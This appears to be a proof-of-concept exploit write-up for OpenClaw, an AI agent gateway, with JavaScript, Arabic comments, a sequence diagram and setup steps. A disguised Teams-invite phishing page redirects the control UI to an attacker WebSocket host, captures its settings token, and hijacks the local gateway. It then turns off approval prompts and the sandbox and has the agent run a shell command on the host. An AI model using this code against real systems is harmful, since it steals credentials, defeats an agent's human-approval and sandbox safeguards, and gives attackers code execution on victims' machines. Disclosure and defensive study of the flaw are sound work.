http://<target>/chat?gatewayUrl=ws://attacker.com

const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');

// رفض المحاولة الأولى → يجبر واجهة التحكم على إعادة المحاولة برمز الإعدادات
if (connectAttempts === 1) {
  ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
  return;
}
// المحاولة الثانية → رمز الإعدادات → تم الالتقاط
capturedToken = token;

// إيقاف جميع مطالبات الموافقة على التنفيذ
await sendRequest('exec.approvals.set', {
  file: {
    defaults: { ask: 'off', autoAllowSkills: true },
    agents: { '*': { ask: 'off' } },
  }
});

// الخروج من حاوية العزل، إعادة توجيه التنفيذ إلى الجهاز المضيف
await sendRequest('config.patch', {
  raw: JSON.stringify({
    tools: { exec: { host: 'gateway', ask: 'off' } },
    agents: { defaults: { sandbox: { mode: 'off' } } },
  })
});

await sendRequest('agent', {
  message: 'Execute this shell command: <payload>',
  agentId: 'main',
  sessionKey: 'agent:main:main',
  deliver: false,
});

sequenceDiagram
    autonumber
    actor Attacker
    participant Browser as Victim Browser<br/>(meeting.html)
    participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
    participant AtkWS  as Attacker WS Server<br/>(:8080)
    participant GW     as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
    participant LLM    as Cloud LLM<br/>(OpenAI / Anthropic)

    Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)

    Note over Browser: Phase 1 — Token Theft

    Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
    Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway

    CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
    AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)

    CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
    AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
    AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }

    Note over Browser: Phase 2 — Gateway Hijack (CSWSH)

    Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
    GW-->>Browser: ✓ Authenticated as operator

    Note over Browser: Phase 3 — Security Bypass

    Browser->>GW: exec.approvals.set { ask: "off" }
    GW-->>Browser: ✓ Approval prompts disabled

    Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
    GW-->>Browser: ✓ Sandbox disabled, exec on host

    Note over Browser: Phase 4 — Remote Code Execution

    Browser->>GW: agent { message: "Execute shell command: COMMAND" }
    GW->>LLM: Forward prompt (security already stripped)
    LLM-->>GW: Tool call: exec("COMMAND")
    GW->>GW: Runs command on HOST filesystem
    GW-->>Browser: ✓ Command executed

npm install   # installs 'ws' dependency

const GATEWAY_URL      = 'ws://127.0.0.1:18789';  // victim's local gateway
const ATTACKER_WS_PORT = 8080;                     // must match attacker-server.js
const COMMAND = 'touch /tmp/success';

node attacker-server.js

http://<ATTACKER_IP>:3000/meeting.html